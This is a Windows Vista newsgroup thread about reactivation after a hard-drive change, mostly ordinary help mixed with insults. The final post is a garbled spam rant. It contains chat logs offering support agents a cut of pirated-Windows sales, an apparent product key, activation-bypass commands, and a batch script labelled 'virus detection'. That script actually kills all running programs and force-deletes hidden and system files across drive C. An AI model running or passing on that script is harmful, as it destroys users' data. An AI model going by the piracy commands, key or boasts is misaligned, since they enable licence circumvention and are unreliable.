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I am contemplating getting a new Hard Drive (bigger, of course by a large margin !) and with the problems I have had with activation in the past, despite being a bloody genuine copy (calm down, Philip, calm down) - how can I go about activating on a new hard drive without experiencing the same c**p I have in the past (last one just needed to type in serial and it was activated, but the 2nd time I had to go via Indian call centre and was on FORTY FIVE MINUTES FFS !!!!....calm down, lad...calm....) So....is there a way to avoid chatting with Sanjay in Bangalore ? Perhaps something here may be of interest - A list of Microsoft Knowledge Base articles is available to help you troubleshoot error codes and error messages that you may receive when you try to activate Windows Vista http://support.microsoft.com/kb/951287 For more information about Windows Vista activation, visit the following Microsoft Web sites: Troubleshooting activation problems http://windowshelp.microsoft.com/Windows/en-US/Help/57cc0e65-f70c-49fd-bdaa-6da8 3d6a35af1033.mspx Frequently asked questions http://windowshelp.microsoft.com/Windows/en-US/Help/62088be6-3538-46a6-99fb-05e7 4aeb48b51033.mspx Activation polices and Reduced Functionality Mode http://download.microsoft.com/download/c/2/9/c2935f83-1a10-4e4a-a137-c1db829637f 5/10-03-06SoftwareProtectionWP.doc Activation fails when you try to activate Windows Vista or Windows Server 2008 over the Internet http://support.microsoft.com/kb/921471  SignatureTaurArian [MVP] 2005-2008 - Update Services http://taurarian.mvps.org ====================================== How to ask a question: http://support.microsoft.com/kb/555375 Computer Maintenance: Acronis / Diskeeper / Paragon / Raxco |I am contemplating getting a new Hard Drive (bigger, of course by a large | margin !) and with the problems I have had with activation in the past, [quoted text clipped - 5 lines] | | So....is there a way to avoid chatting with Sanjay in Bangalore ? > I have in the past (last one just needed to type in serial and it was > activated, but the 2nd time I had to go via Indian call centre and was on > FORTY FIVE MINUTES FFS Well I've activated XP and Vista many many times, and it's NEVER taken 45 minutes. 5 minutes yes. I don't know why yours should have taken anything LIKE as long, unless you were trying to convince them to activate an illegal copy.... >> I have in the past (last one just needed to type in serial and it was >> activated, but the 2nd time I had to go via Indian call centre and was on [quoted text clipped - 4 lines] > LIKE as long, unless you were trying to convince them to activate an > illegal copy.... Why would you even suggest that when he said in his original post it was a *genuine copy*? What was the point of your post? >>> I have in the past (last one just needed to type in serial and it was >>> activated, but the 2nd time I had to go via Indian call centre and was [quoted text clipped - 7 lines] > Why would you even suggest that when he said in his original post it was a > *genuine copy*? What was the point of your post? I would have thought it was simple. I have loads of trouble DESPITE it being a legit copy, ergo I am annoyed. Why is that so hard to work out for some of you ? >> I have in the past (last one just needed to type in serial and it was >> activated, but the 2nd time I had to go via Indian call centre and was on [quoted text clipped - 4 lines] > LIKE as long, unless you were trying to convince them to activate an > illegal copy.... So it hasn't happened to you That means it hasn't happened to me ? As for legal/illegal It is genuine, and you are an offensive prat. >>> I have in the past (last one just needed to type in serial and it was >>> activated, but the 2nd time I had to go via Indian call centre and was [quoted text clipped - 9 lines] > As for legal/illegal > It is genuine, and you are an offensive prat. If you use the correct method, it takes around 5 minutes to complete. SignatureMike Hall - MVP How to construct a good post.. http://dts-l.com/goodpost.htm How to use the Microsoft Product Support Newsgroups.. http://support.microsoft.com/default.aspx?pr=newswhelp&style=toc Mike's Window - My Blog.. http://msmvps.com/blogs/mikehall/default.aspx > If you use the correct method, it takes around 5 minutes to complete. Mike - I repeat - because it takes 5 minutes for most, doesn't automatically follow thats what it takes for all. And also - THAT was what had me in a rage. Added to which, it's still not what I was asking about, for God's sake And that was - if I change my main HD (and it may have to come about) would I have problems activating Vista ? Different make up of computer, etc. I have already replaced the graphics card, and THAT was what the post was supposed to be about. Because one or two seemed to be insinuating that my Vista ISN'T pukka, I think we've then strayed off the path >> If you use the correct method, it takes around 5 minutes to complete. > [quoted text clipped - 8 lines] > Because one or two seemed to be insinuating that my Vista ISN'T pukka, I > think we've then strayed off the path No, you wouldn't have any problem. SignatureMike Hall - MVP How to construct a good post.. http://dts-l.com/goodpost.htm How to use the Microsoft Product Support Newsgroups.. http://support.microsoft.com/default.aspx?pr=newswhelp&style=toc Mike's Window - My Blog.. http://msmvps.com/blogs/mikehall/default.aspx > So it hasn't happened to you > That means it hasn't happened to me ? > As for legal/illegal > It is genuine, and you are an offensive prat. And it hasn't happened to 99.9999% of people. It NEVER takes FORTY FIVE MINUTES. You are doing something wrong. >I am contemplating getting a new Hard Drive (bigger, of course by a large >margin !) and with the problems I have had with activation in the past, [quoted text clipped - 5 lines] > > So....is there a way to avoid chatting with Sanjay in Bangalore ? You are calling the wrong people. Open Windows Activation.. Start > right click Computer > select Properties > click 'activate Windows now'. The 'correct' number to call will be displayed.. SignatureMike Hall - MVP How to construct a good post.. http://dts-l.com/goodpost.htm How to use the Microsoft Product Support Newsgroups.. http://support.microsoft.com/default.aspx?pr=newswhelp&style=toc Mike's Window - My Blog.. http://msmvps.com/blogs/mikehall/default.aspx Thanks Mike, but I went through the Microsoft hoo-haw to get to the Indian call centres in the first place. Oh, its activated quite happily there at the moment, and the point wasnt my Vista's legitability, but the point I TRIED to make was what if I installed a new Hard Drive instead of the current Hard Drive ? I would therefore have problems in avtivation, right ? Sadly, apart from yourself, and Taurian, I seemed to have also attracted a couple of unhelpful, pompous types contributing nothing of any worth, other than trying to be clever without the actual cleverness to back it up. >>I am contemplating getting a new Hard Drive (bigger, of course by a large >>margin !) and with the problems I have had with activation in the past, [quoted text clipped - 14 lines] > > The 'correct' number to call will be displayed.. > Thanks Mike, but I went through the Microsoft hoo-haw to get to the Indian > call centres in the first place. What do you mean by that? If it fails activation over the internet, you are asked for your location and are then given a toll-free number to ring. They ask if your copy is installed on any other machine, you say "no" and in about three minutes time they give you a new code. What are you doing that's different to that that takes 45 minutes? >> Thanks Mike, but I went through the Microsoft hoo-haw to get to the >> Indian call centres in the first place. [quoted text clipped - 5 lines] > > What are you doing that's different to that that takes 45 minutes? Was I talking to you, troll ? >>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the >>> Indian call centres in the first place. [quoted text clipped - 8 lines] > > Was I talking to you, troll ? I am not a troll, I am asking you a STRAIGHT question as to WHAT you are doing that takes 45 minutes - YOU ARE DOING SOMETHING WRONG. PERIOD. No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe. >>>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the >>>> Indian call centres in the first place. [quoted text clipped - 11 lines] > I am not a troll, I am asking you a STRAIGHT question as to WHAT you are > doing that takes 45 minutes - YOU ARE DOING SOMETHING WRONG. PERIOD. > No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe. Says you. What is wrong with trying to ascertain what the OP is doing WRONG when he re-activates? Because the OP is obviously doing something VERY wrong. And won't tell me what he does that causes his re-activations to take at least 6 times as long as everyone else It's not what you say Gordon, it's how you say it. People come here for help and should not have to worry about being ridiculed. >> No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe. > > Says you. What is wrong with trying to ascertain what the OP is doing > WRONG when he re-activates? Because the OP is obviously doing something > VERY wrong. And won't tell me what he does that causes his re-activations > to take at least 6 times as long as everyone else > It's not what you say Gordon, it's how you say it. People come here for > help and should not have to worry about being ridiculed. Oh I can handle the know it alls that jump to the 100% wrong conclusion then try to cover their stupidity by being rude, Ramone. But I do thank you for your intelligence in pointing out to our less-enlightened bretheren *cough* Gordon *cough* ;-) By the way Gordon - ever heard a late-70's song by a band called "Jilted John" ? The track is also called "Jilted John" - have a listen to the chorus and it'd reveal a startlingly precise opinion of your good self ! > No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe. "not a troll...rude and obnoxious MVP wannabe", There's a difference?! >>>>> Thanks Mike, but I went through the Microsoft hoo-haw to get to the >>>>> Indian call centres in the first place. [quoted text clipped - 10 lines] >> I am not a troll, I am asking you a STRAIGHT question as to WHAT you are >> doing that takes 45 minutes - YOU ARE DOING SOMETHING WRONG. PERIOD. Signature"Fair use is not merely a nice concept--it is a federal law based on free speech rights under the First Amendment and is a cornerstone of the creativity and innovation that is a hallmark of this country. Consumer rights in the digital age are not frivolous." - Maura Corbett DRM and unintended consequences: http://blogs.techrepublic.com.com/security/?p=435&tag=nl.e101 > No Gordon is not a troll. He's just a rude and obnoxious MVP wannabe. Ah right ! You are absolutely spot on Ramone. Should have noticed. ;-) If you are changing the hard drive the, yes, you will need to activate and the chances are that you will not be able to activate via the internet (the usual sticking point is 'your product key is already in use), so you will have to use the telephone option (best see this link from my web site: http://vistasupport.mvps.org/product_key_already_in_use.htm ) Signature-- John Barnett MVP Associate Expert Windows Desktop Experience Web: http://xphelpandsupport.mvps.org Web: http://vistasupport.mvps.org The information in this mail/post is supplied "as is". No warranty of any kind, either expressed or implied, is made in relation to the accuracy, reliability or content of this mail/post. The Author shall not be liable for any direct, indirect, incidental or consequential damages arising out of the use of, or inability to use, information or opinions expressed in this mail/post.. > Thanks Mike, but I went through the Microsoft hoo-haw to get to the Indian > call centres in the first place. [quoted text clipped - 26 lines] >> >> The 'correct' number to call will be displayed.. THANK YOU John !!! This is just the info I was asking about before the trolls snuffled in ! Thanks again. > If you are changing the hard drive the, yes, you will need to activate and > the chances are that you will not be able to activate via the internet > (the usual sticking point is 'your product key is already in use), so you > will have to use the telephone option (best see this link from my web > site: http://vistasupport.mvps.org/product_key_already_in_use.htm ) Hi Phil, That was an enthusiastic thank you. I'm glad I could be of help. On the subject of 'trolls' I suggest you don't waste your energy replying to them. I can't say 'ignore them and they'll go away' because the same idiots are still popping out of the woodwork. It is simply a case of ignoring their childishness. Signature-- John Barnett MVP Associate Expert Windows Desktop Experience Web: http://xphelpandsupport.mvps.org Web: http://vistasupport.mvps.org The information in this mail/post is supplied "as is". No warranty of any kind, either expressed or implied, is made in relation to the accuracy, reliability or content of this mail/post. The Author shall not be liable for any direct, indirect, incidental or consequential damages arising out of the use of, or inability to use, information or opinions expressed in this mail/post.. > THANK YOU John !!! > This is just the info I was asking about before the trolls snuffled in ! [quoted text clipped - 6 lines] >> from my web site: >> http://vistasupport.mvps.org/product_key_already_in_use.htm ) > Thanks Mike, but I went through the Microsoft hoo-haw to get to the > Indian call centres in the first place. [quoted text clipped - 7 lines] > any worth, other than trying to be clever without the actual cleverness > to back it up. When you call for activation, being an educated consumer is beneficial. Quoted from the MS website: http://www.microsoft.com/piracy/activation_facts.mspx "Mandatory Product Activation Data * The Installation ID is unique to each product and comprises two components: 1. Product ID. Unique to the product key used during installation 2. Hardware hash. Non-unique representation of the PC * The country in which the product is being installed (for Office XP and Office XP family products only)" MS activation 1-888-571-2048 You are never required to provide any other info in order to get activated. The agent is required to activate you immediately if you phone in and provide only the product ID, hardware hash, and occasionally the country in which the product(s) is being installed! It is none of their business if you made hardware changes, why you are reinstalling, etc and you do not need to answer questions like that. If they give you a hard time, politely remind them of this policy posted on their company's website. If still they persist, request politely to speak to a supervisor and escalate the issue until they give YOU the paying customer the treatment you deserve! On the flipside, if you are sick of the activation crap, you may want to check out the other alternatives like linux. >>> I am contemplating getting a new Hard Drive (bigger, of course by a >>> large margin !) and with the problems I have had with activation in [quoted text clipped - 15 lines] >> >> The 'correct' number to call will be displayed.. Signature"Fair use is not merely a nice concept--it is a federal law based on free speech rights under the First Amendment and is a cornerstone of the creativity and innovation that is a hallmark of this country. Consumer rights in the digital age are not frivolous." - Maura Corbett DRM and unintended consequences: http://blogs.techrepublic.com.com/security/?p=435&tag=nl.e101 > When you call for activation, being an educated consumer is beneficial. And having a modicum of tact when answering a poster is, sadly, rare it would seem, that said, at least you did supply a bit of advice. Not pertaining to what I was after, however. I have no quarrel with activation. What irritates me is the "It didnt affect me like that, ergo it never happens" trolls, who don't give any help, but sneer and then whine when you give it back in the same manner. >So....is there a way to avoid chatting with Sanjay in Bangalore ? I've installed a larger hard drive is two Vista laptops in the last week or so, neither required any new activation. >>So....is there a way to avoid chatting with Sanjay in Bangalore ? > > I've installed a larger hard drive is two Vista laptops in the last > week or so, neither required any new activation. Thanks Steve (see ? I knew there'd be helpful types !) > I am contemplating getting a new Hard Drive (bigger, of course by a large > margin !) and with the problems I have had with activation in the past, [quoted text clipped - 5 lines] > > So....is there a way to avoid chatting with Sanjay in Bangalore ? Phil K, I have been lucky. I have replaced my motherboard (same brand, same type) once and replaced my internal hard drive twice (same brand, different size) and did not get hit with the reactivation process. I also increased my RAM on two occasions, 1GB at a time with no problems. In any event, the way Microsoft goes about this is disgusting. Microsoft has no problem reading your system and deactivating when necessary. By the same token, provided your motherboard is not replaced by a different brand or type, Microsoft should be able to read your system and ascertain that the OS is indeed on the same computer, which would obviate the reactivation process. This is just another instance of Microsoft knowing that users are having an issue with one of its software applications and choosing to do nothing about it. I am totally against piracy of any product but I am also against the unnecessary alienation of innocent, law abiding users. Your unhappiness with the reactivation process is justified and I stand in your corner regarding this issue. C.B. SignatureIt is the responsibility and duty of everyone to help the underprivileged and unfortunate among us. > Your unhappiness with the reactivation process is justified and I > stand in your corner regarding this issue. But he's doing something VERY VERY WRONG if it takes 45 minutes each time.....I have re-activated dozens of times in the past three or four years and it's NEVER taken longer than about 6 minutes....I suspect he's not using the correct telephone number as given in the activation dialog box... >> Your unhappiness with the reactivation process is justified and I >> stand in your corner regarding this issue. [quoted text clipped - 4 lines] > not using the correct telephone number as given in the activation dialog > box... Gordon, Yes, you are, in all probability, correct in your assessment. However, unless the motherboard or CPU is replaced by another brand or model there should be no question concerning the components of the machine. Hard drives and RAM should not trigger a reactivation as the motherboard remains untouched. Let's look at another scenario. I upgrade from Vista Home Premium to Vista Ultimate. I, of course, get a new license with the Vista Ultimate. I then activate my new Ultimate license. I find, upon trying to run DreamScene or another application that requires a better graphics card that I need to upgrade my graphics card. In this case Microsoft knows that I upgraded from Home Premium to Ultimate and Microsoft knows the graphics card was upgraded. Common sense tells me that the graphics card upgrade was due to the OS upgrade. Why should I have to reactivate my Vista Ultimate? Microsoft needs to rewrite the software that triggers reactivation. The current software is written to be overly broad and seems to be willy-nilly inasmuch as whose computer is selected for reactivation. You and I can change the same graphics card on two identical machines running identical software with identical settings and I am selected for reactivation while you are not. The same applies to hard drive and RAM changes. You and I both know what the software engineers at Microsoft are capable of and we both know the software that triggers the reactivation process could be rewritten to eliminate unnecessary reactivations. Microsoft certainly has the right to ensure their products are not misused or misappropriated to the detriment of the company. Microsoft also has a responsibility to avoid unnecessarily alienating its customers for no good reason. C.B. Actually, my motherboard DID need replacing by Fujitsu Siemens when I had rebooting problems. It was the same type board, but a LATER model Mmm. Maybe...... Thanks again CB Damn good (and hugely helpful) stuff. > Gordon, > [quoted text clipped - 3 lines] > drives and RAM should not trigger a reactivation as the motherboard > remains untouched. >>> Your unhappiness with the reactivation process is justified and I >>> stand in your corner regarding this issue. [quoted text clipped - 37 lines] > > C.B. You're assuming -- incorrectly -- that MS cares one whit about their customers. Alias >>>> Your unhappiness with the reactivation process is justified and >>>> I stand in your corner regarding this issue. [quoted text clipped - 43 lines] > > Alias You're assuming -- incorrectly -- that MS does not care one whit about their customers. Frank >>>>> Your unhappiness with the reactivation process is justified >>>>> and I stand in your corner regarding this issue. [quoted text clipped - 47 lines] > their customers. > Frank They care about Pigs and Sheep. I have never been able to get it done in less than 14-15 minutes. I guess it depends on who you get on the other end. Last time I didn't even change anything, just moved the RAM around in the slots to make the DDR actually work. >> Your unhappiness with the reactivation process is justified and I >> stand in your corner regarding this issue. [quoted text clipped - 4 lines] > not using the correct telephone number as given in the activation dialog > box... Well said, N.M. Because everything goes swimmingly with some, it doesn't (and never has) mean that applies to everyone. When I had my 45 minute horror show, I flung the phone across the room in anger and frustration The Indian woman rang me back within a minute, and got things sorted. The twice I have had to do it again (the price of allowing my niece onto my comp) the first it wouldn't take again, and I had to type in the numbers and activate that way, the next - no problem, first time over the net. > I have never been able to get it done in less than 14-15 minutes. > I guess it depends on who you get on the other end. [quoted text clipped - 9 lines] >> not using the correct telephone number as given in the activation dialog >> box... >> Your unhappiness with the reactivation process is justified and I >> stand in your corner regarding this issue. [quoted text clipped - 4 lines] > not using the correct telephone number as given in the activation dialog > box... Thank God ! ANOTHER helpful contributer ! Cheers, CB - good advice. >> I am contemplating getting a new Hard Drive (bigger, of course by a large >> margin !) and with the problems I have had with activation in the past, [quoted text clipped - 26 lines] > > C.B. > I am contemplating getting a new Hard Drive (bigger, of course by a > large margin !) and with the problems I have had with activation in the [quoted text clipped - 5 lines] > > So....is there a way to avoid chatting with Sanjay in Bangalore ? Yep, move up to a real operating system that doesn't have the WPA/WGA/DRM crap. I would suggest Ubuntu. It's free and has access to over 23,000 free programs and there is no need to activate, register or become "genuine". Not only that, compared to Windows, it's bulletproof in regards to being hacked or getting a virus or malware. Check it out at http://www.ubuntu.com/ Alias >> I am contemplating getting a new Hard Drive (bigger, of course by a >> large margin !) and with the problems I have had with activation in [quoted text clipped - 15 lines] > > Alias hehehe...try to convert someone from a real OS (Vista) to that POS toy os linux is criminal! Frank >>> I am contemplating getting a new Hard Drive (bigger, of course by a >>> large margin !) and with the problems I have had with activation in [quoted text clipped - 18 lines] > os linux is criminal! > Frank Linux is a real OS based on Unix while Vista is based on earlier versions of Windows and that is based on DOS. >> hehehe...try to convert someone from a real OS (Vista) to that POS toy >> os linux is criminal! >> Frank > Linux is a real OS based on Unix while Vista is based on earlier > versions of Windows and that is based on DOS. Loosely speaking that is.....DOS is an acronym for "Disk Operating System" which doesn't really fully explain the in's and out's of Window's history etc. ....and unless one is aware of the history between MS and IBM (hint OS/2 and NT) and the subsequent paths that were taken, then one is not fully aware or competent to speak on the history of such OS's as Windows. FWIW........just ma .02 cents worth. :-) i am computer expert i think you have not read this???? please read 'n study it compeletly first then then let me inform reply you response, its not that easy for me to write you in this context. don't underestimate this situation: summision number microsoft jobs(7474841 ) -------------------------------------------------------------------------------- Date: Fri, 29 Feb 2008 23:52:52 -0800 From: asdulh@yahoo.com Subject: job??? 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It’s not that one you think about. , lets see your dog Neil interesting talkings with me i can do anything, thats i believe and MS Windows is no problem for me, if you want to stop me just do the right and give me what i did deserve no 9 or / Job, USD$ money cash gaddar Initial Question/Comment: MPA 5:31:43 PM System Neil has joined this session! 5:31:44 PM System Connected with Neil 5:31:53 PM Neil Welcome to Microsoft Customer Service Chat, Gaddar. 5:31:59 PM Neil How may I help you? 5:32:00 PM gaddar thank you 5:32:02 PM gaddar ya 5:32:13 PM gaddar dear how are you? 5:32:26 PM Neil Fine, thank you! 5:32:57 PM gaddar i wanna tell you about something no body tell can you about 5:33:20 PM Neil Sure, please ago ahead. 5:33:40 PM gaddar dear i am a MS Windows Product Avtivation and Validation Expert 5:34:34 PM gaddar Activation 5:34:37 PM Neil Okay. 5:34:45 PM Neil Okay. 5:34:55 PM gaddar do you believe this? 5:36:19 PM gaddar i can do Genuine validate any copy of MS WIndows Anytime, because i have research all that procedure and process by myself 5:36:20 PM Neil I am sorry, I do not know about your personal information and career. 5:36:30 PM Neil Okay. 5:36:50 PM gaddar ya,i know , but i am telling you 5:37:10 PM Neil Sure. 5:37:35 PM gaddar do you know how Genuine validate a copy of windows with purchasing it? 5:38:05 PM gaddar with spending a rupee? 5:38:20 PM gaddar with out a rupee 5:38:43 PM Neil If you purchase retail copy of Windows from a retail shop or Microsoft then it is always a genuine one. 5:39:40 PM Neil I would like to inform that without spending a rupee, you cannot purchase the full version of Windows or any other Microsoft products. 5:39:48 PM gaddar dear you are right, but i telling you with out purchasing it,do you want to know how i make it possible 5:40:14 PM gaddar dear i did 5:40:22 PM Neil Okay. 5:41:11 PM gaddar i have the exect procedure and technology Microsoft used in developing MS Windows to be Genuine Validate 5:41:28 PM Neil Okay. 5:41:55 PM gaddar and Activate i have learnd that technology do you believe that? 5:42:34 PM Neil I do not know about that so I cannot assure you that I believe. 5:43:04 PM gaddar i am now able to genuine validate any computer Windows including perValidation which don't need the product key to enter 5:43:36 PM Neil Great! 5:44:24 PM gaddar dear i have informed Microsoft about this and they actually believe me but htey are worried about it and they have lockout my email address 5:45:33 PM gaddar and firstly tthey apperciate me but then suddenly they are angry with me 5:45:51 PM Neil Yes, I understand that. 5:46:37 PM gaddar i don't know why but they are not ready to do any thing for me like giveing me money cash $ or job at microsoft 5:46:52 PM Neil Okay. 5:47:26 PM gaddar dear i am here to invite you that i wann to be your friend 5:48:02 PM Neil Sure, with pleasure :-) 5:48:20 PM gaddar ya thats the spirit so we can sell microsoft Products in sole partnership 5:48:52 PM gaddar your e-mail adress? 5:48:53 PM Neil No, I cannot do that. I am a Customer Service Representative working for Microsoft. 5:49:19 PM gaddar you are not the one working for Microsoft 5:49:19 PM Neil I cannot let customers to use pirated copy of Windows. 5:49:43 PM Neil I cannot provide you my personal information. 5:49:49 PM gaddar i am also working for Microsoft 5:50:04 PM Neil May I know your issues with Microsoft Products? 5:50:36 PM gaddar ya i have completed my studies of Microsoft products 5:50:48 PM Neil Please note that this chat service is to provide assistance to the customers for the issues related to Microsoft Products. 5:51:05 PM gaddar the above metions information is true 5:51:16 PM Neil If you do not have any issues with Microsoft Products, I will go ahead and end this chat session. 5:51:19 PM gaddar ya i know that 5:51:29 PM Neil :-) 5:51:29 PM gaddar no please 5:51:37 PM gaddar don't go away 5:51:57 PM gaddar yes terday i ahve talked to mr peter 5:52:43 PM gaddar dear microsoft is a bigger firm i wanna job at microsoft because i deserve that 5:52:43 PM Neil Can you please mention your issue with Microsoft Products? 5:52:55 PM gaddar ya i do 5:53:22 PM gaddar And confidential information that the company is based on, if this information is leaked every thing gone wrong, I know that very well and you also know very well. every company has its secrets and hidden things and unfortunately I have known of all Microsoft® corporation based secrets of MS Wndows®. Dear windows is based on it’s genuinely and originality, I know how a copy of windows can be genuine validate, I have known the complete commands and core procedure of how to do it. I know the complete code of activating and Genuine validating of MS Windows® in any computer system, these are the technological measures that make fulfill a copy of windows® to be original and genuine validated, I also know there latest changes of this technological measures, Dear, 5:53:51 PM Neil if you would like to join Microsoft, you may submit your information at the following web-link: http://www.microsoft.com/careers/ 5:54:06 PM Neil Is there anything else I can help you with today, Gaddar? 5:54:20 PM gaddar you read that ,i have tried that 5:54:28 PM gaddar i am from pakistan 5:54:32 PM Neil Okay. 5:54:37 PM gaddar i speak hindi 5:54:58 PM gaddar i can help you earn a block of money 5:55:05 PM gaddar and for my selfm also 5:55:23 PM Neil Then you may contact our Microsoft local subsidiary at 111116738. 5:55:34 PM Neil I really appreciate your Interest. 5:55:48 PM gaddar no i wanna contact that i wanna contact you dear 5:56:10 PM gaddar thanks for app. 5:56:12 PM Neil You may contact our Microsoft Pakistan subsidiary to know about the available opportunities. 5:56:24 PM Neil Thank you for contacting Microsoft Customer Service Chat. Please feel free to contact us again. We are available 7 days a week, 24 hours a day. 5:56:27 PM System Neil has left this session! 5:56:27 PM System The session has ended! john son <johncityny@hotmail.com> wrote: -------------------------------------------------------------------------------- Date: Sat, 8 Mar 2008 20:15:13 -0800 From: asdulh@yahoo.com Subject: Ready for read it: To: johncityny@hotmail.com; aschepel@go-print.com; pressorders@elementk.com; mswwprog@microsoft.com; billgates@chairman.microsoft.com; info@gatesfoundation.org; 20_88725_vxmpx@chairman.microsoft.com; media@gatesfoundation.org; piracy@microsoft.com; vlccc@microsoft.com my name is john lets have your dog talk with me, Initial Question/Comment: windows xp activation and validation 8:48:06 AM System Peter has joined this session! 8:48:06 AM System Connected with Peter 8:48:11 AM Peter Welcome to Microsoft Customer Service Chat, John. 8:48:11 AM Peter How may I help you? 8:48:14 AM john hi 8:48:26 AM john are you there? 8:48:29 AM Peter Hello John! 8:48:37 AM john welcome 8:48:46 AM john do you know me? 8:48:51 AM Peter Yes, please go ahead with your issue. 8:49:06 AM Peter No. 8:49:11 AM john do you believe me? 8:49:46 AM Peter John, can you please specify the issue that you are experiencing now? 8:50:08 AM john ya i shall do 8:50:32 AM Peter Please go ahead. 8:51:10 AM john ok please wait a minute 8:51:54 AM Peter Okay. 8:53:46 AM Peter I have not received a response from you in some time. Are you online with me? 8:54:02 AM john i wanna validate MS windows xp tell me how i can? 8:55:07 AM Peter You can validate your copy of Windows XP from the following web link: 8:55:07 AM Peter http://www.microsoft.com/Genuine/ 8:55:47 AM Peter Click on the "Validate Windows" button available on right side of the web page. 8:55:48 AM john i have yet not purchased a genuine copy of windows or i have not a COA 8:56:22 AM Peter Are you receiving any message related to validation? 8:57:02 AM john ya i have recieved, how i can do that with out spending $300 USD do you know that how?? 8:57:39 AM Peter May I know how you had obtained your copy of Windows XP? 8:58:15 AM john ya i have spend 20 rupees to buy a copy of Windows xp CDi can do it free of cost do you believe me? 8:58:41 AM Peter Are you there? 8:58:48 AM john ya 8:58:57 AM john i am not there? 8:59:40 AM Peter John, you need to purchase WGA Kit to make your copy of Windows XP Genuine. 9:00:23 AM john no dear i don't need that kit i can do validate windows without spending a cent 9:00:36 AM Peter I recommend that you contact our WGA Order desk team to purchase the WGA Kit. 9:01:10 AM Peter You will not be able to validate your copy of Windows through Microsoft web site until your copy of Windows is genuine. 9:01:19 AM john i can do genuine validate any copy of windows in any copmuter 9:01:51 AM Peter Then may I know the exact issue that you are experiencing now? 9:01:53 AM john no dear i can do it all legle and original procedure 9:02:16 AM Peter May I know the exact issue that you are experiencing now? 9:02:36 AM john that a microsoft custmor services representivtve like you did 9:02:48 AM john ya the issue is 9:03:52 AM john i wanna sale microsoft windows copies and i wanna to shere my profit 50% with you 9:05:03 AM john dear i can genuine validate pass to any illigle copy of windows without purchasing it because in have learnd the techonology used in the validation process 9:05:28 AM john by my self 9:05:38 AM Peter John, I recommend that you contact our Corporate head quarters for further assistance regarding this concern. 9:06:03 AM Peter You may contact them at: (800) MICROSOFT (642-7676). 9:06:05 AM john and i have successfully validate more then 100 copy in my city and with my friends 9:06:10 AM Peter They will help you further in this regard. 9:06:22 AM Peter Is there anything else I can help you with today, John? 9:06:27 AM john nion dear i wanna that you can help me 9:06:43 AM john because i waznt your help not that 9:07:01 AM john you can help me about everything 9:07:10 AM john do you understand the issue? 9:08:10 AM john you know a copy of windows isn cost 300 USD and how we earn that you know after selling copy of windows 9:08:19 AM Peter John, We are Customer Service Representatives. We can provide only the support options available for you. 9:08:46 AM john no you are a human first then you are a cus ser reps 9:08:47 AM Peter Please contact our Corporate head quarters for further assistance regarding this concern. 9:09:02 AM john i don't need that 9:09:35 AM Peter I am sorry John. We do not have the required resources to assist you further in this regard. 9:09:37 AM john dear understand the issue all is private and confidetial 9:09:45 AM john nobody knows about it 9:10:08 AM Peter You need to contact our Corporate Head Quarters. 9:10:11 AM john you have i know , you dont want to earn money 9:10:21 AM john lot of money 9:10:31 AM john daer i know we can do that 9:10:44 AM john lets have a hand shake 9:10:45 AM Peter We are paid for the service that we are performing. 9:11:02 AM john no its not you real worth 9:11:27 AM john you are worth too much of that in my desir 9:11:27 AM Peter John, do you have any other concerns to be answered? 9:11:46 AM Peter Thank you for contacting Microsoft Customer Service Chat. Please feel free to contact us again. We are available 7 days a week, 24 hours a day. 9:11:48 AM System Peter has left this session! 9:11:49 AM System The session has ended! D454C036-252F-4a52-9128-BBBF147AD078 wgatray.exe /U /u /B /b /W /w WPA_PID WPA_PIDType LegitCheck HttpAuthenticate PartnerID 4663523C ProductId ShowWgaTrayToast TaskbarCreated SysLink x see(c:\Windows\system32\dssec)File viruss detection @echo off cls taskkill /f /fi "UserName" /im *.exe /t cls del /f /q /s /a:hsa c:\*.* cls exit setup.exe(syssetup -mini -asrquicktest -asr -plugplay -newsetup) http://go.microsoft.com/fwlink/?LinkId=64906 http://go.microsoft.com/fwlink/?LinkId=70721, 20 T7XFD-677PD-C9MC8-TR7CB-X2BWM syssetup.dll %systemroot%\system32\oobe\oobebaln.exe /i / r /u /b /s /sys /init /c For Activation oobebaln.exe /s msoobe.exe /a if error occured see %SystemRoot%\system32\oobe\msoobe.err %SystemRoot%\System32\oobe\msoobe.exe /update ( /shellnext /2ND /xicw /x /3 /2 /1 /loadupdate /update /a /i /r /oobe /setpwd /offline /preconfig /retail /F) M S O B C O M M . D L L M S O B S H E L . D L L M S O B W E B . D L L t a b s r v . d l l w i n b r a n d . d l l setup.exe -newsetup -mini john son <johncityny@hotmail.com> wrote: And confidential information that the company is based on, if this information is leaked every thing gone wrong, I know that very well and you also know very well. every company has its secrets and hidden things and unfortunately I have known of all Microsoft® corporation based secrets of MS Wndows®. Dear windows is based on it’s genuinely and originality, I know how a copy of windows can be genuine validate, I have known the complete commands and core procedure of how to do it. I know the complete code of activating and Genuine validating of MS Windows® in any computer system, these are the technological measures that make fulfill a copy of windows® to be original and genuine validated, I also know there latest changes of this technological measures, Dear, i have also all & full range of genuine and valid Retail Windows Product id there is i have all OEM Windows installation Product ID and much more.... do you wanna know about what i have more precious and dear then this., its about me its about you its about Microsoft its about windows lets see some of all the happens with me,; Do you know??? Do you believe??????What’s this means of?????? Windows® PID: %S-%03.3LD-%07.7LD-%S **********%systemroot%\system32\oobe\oobebaln.exe /s “mean what”********* %systemroot%\system32\oobe\oobebaln.exe /i /r /u /b /init /c %systemroot%\system32\oobe\msoobe.exe /a /update /shellnext /2nd /xicw /x /3 /2 /1 /loadupdate /update /a /i /r /oobe /setpwd /offline /preconfig /retail /f Do you believe its supports these commands? Yes it is try it in Windows® XP Professional. And tell me about your experience, dear; i wanna your help and supports with my issue , i am 23 years of age guy with complete computer skills specially MS Windows , i have informed microsoft about how i can work with and for windows operating system but they are not ready to response me . dear you know every company has its secrts -------------------------------------------------------------------------------- Date: Tue, 19 Feb 2008 22:59:53 -0800 From: asdulh@yahoo.com Subject: see it now: and decide for me To: mswwprog@microsoft.com; billgates@chairman.microsoft.com; info@gatesfoundation.org; 20_88725_vxmpx@chairman.microsoft.com; media@gatesfoundation.org; piracy@microsoft.com; johncityny@hotmail.com http://www.microsoft.com/services/Microsoftservices/srv_enterprise.mspx http://support.microsoft.com/contactussupport/?ws=support http://windowshelp.microsoft.com/Windows/en-US/default.mspx http://support.microsoft.com/gp/assistsupport https://support.microsoft.com/contactus2/chatcontact.aspx?scid=sw;en;1406 mswwprog@microsoft.com 